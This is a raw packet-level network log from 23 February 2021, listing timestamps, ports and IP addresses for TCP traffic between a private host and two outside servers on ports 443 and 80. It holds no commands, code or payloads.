Feb 23, 2021 10:04:51.653975010 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.653990030 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654002905 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654020071 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654035091 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654050112 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654064894 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654088020 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:51.654105902 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:52.491846085 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:52.491882086 CET	443	49773	172.67.199.58	192.168.2.6
Feb 23, 2021 10:04:52.492594957 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:04:52.762885094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.813072920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.813266039 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.813858032 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.863477945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865109921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865133047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865149975 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865166903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865184069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865200996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865216970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865230083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.865307093 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.865310907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865330935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865353107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.865370989 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.865436077 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915107965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915142059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915163040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915180922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915199041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915216923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915236950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915257931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915257931 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915277004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915294886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915316105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915333033 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915338039 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915359974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915361881 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915381908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915383101 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915400028 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915420055 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915424109 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915438890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915457010 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915465117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915482998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915503025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.915513992 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.915540934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.964059114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964087963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964102983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964119911 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964134932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964154005 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964188099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964205980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964224100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964242935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964258909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964274883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964293003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964314938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964334011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964351892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964368105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964386940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964404106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964421034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964438915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964458942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964482069 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964498043 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964518070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964539051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964539051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.964555979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964574099 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964591026 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964611053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964629889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964648008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964664936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964677095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964689970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964703083 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964715958 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.964719057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964737892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964752913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964772940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:52.964822054 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:52.964916945 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013355970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013525963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013564110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013608932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013617992 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013642073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013647079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013648987 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013664007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013683081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013704062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013716936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013730049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013756037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013780117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013783932 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013803959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013828993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013829947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013851881 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013871908 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013878107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013904095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013909101 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013928890 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013952017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.013974905 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.013977051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014000893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014014959 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014027119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014040947 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014055014 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014085054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014111996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014123917 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014137030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014163017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014166117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014194965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014204025 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014214993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014229059 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014252901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014280081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014281034 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014302015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014313936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014322996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014348030 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014349937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014377117 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014401913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014413118 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014426947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014451027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014465094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014477015 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014508009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014508963 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014533997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014558077 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014569044 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014585018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014610052 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014612913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014638901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014663935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.014683962 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.014961958 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063407898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063448906 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063473940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063520908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063545942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063571930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063604116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063607931 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063630104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063658953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063698053 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063729048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063729048 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063755035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063779116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063782930 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063823938 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063832998 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063883066 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063909054 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.063913107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063966990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.063993931 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064008951 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064033985 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064063072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064089060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064096928 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064114094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064137936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064162970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064172983 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064188004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064229012 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064237118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064263105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064286947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064310074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064327955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064333916 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064359903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064388990 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064404011 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064409971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064430952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064451933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064477921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064507008 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064510107 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064531088 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064558029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064574003 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064582109 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064610958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064627886 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064639091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064666986 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064676046 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064738035 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064738989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064766884 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064795971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064796925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064835072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064862967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.064862967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.064944983 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.113814116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113853931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113874912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113890886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113917112 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113935947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113960028 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.113981009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114007950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114046097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114073038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114097118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114120007 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114140987 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114157915 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114185095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114208937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114231110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114252090 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114269972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114298105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114321947 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114345074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114367962 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114388943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114411116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114432096 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114454031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114480019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114511013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114531040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114557981 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114581108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114600897 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114643097 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114667892 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114692926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114721060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114742041 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114763021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114784002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114809036 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114831924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114852905 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114875078 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114897013 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114917040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.114938021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.119524956 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.169575930 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169657946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169677019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169694901 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169713974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169732094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169749022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169770956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169789076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169806004 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169821978 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169836044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169855118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169872999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169884920 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169903040 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169919968 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169939995 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169959068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169975042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.169991016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170008898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170025110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170041084 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170053959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170069933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170082092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170103073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170120955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170136929 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170150042 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170164108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170176029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170187950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170205116 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170222044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170248032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170264959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170280933 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170316935 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170342922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170366049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170386076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170407057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170429945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170447111 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170456886 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170465946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170490980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170515060 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170552969 CET	80	49774	94.103.94.2	192.168.2.6
